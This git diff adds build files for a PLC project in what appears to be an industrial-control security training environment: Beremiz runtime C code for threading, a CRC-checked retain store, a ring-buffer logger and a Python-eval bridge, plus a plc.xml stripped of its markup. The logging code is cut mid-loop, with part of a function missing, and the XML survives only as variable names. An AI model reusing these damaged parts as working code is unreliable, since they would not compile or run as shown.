PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 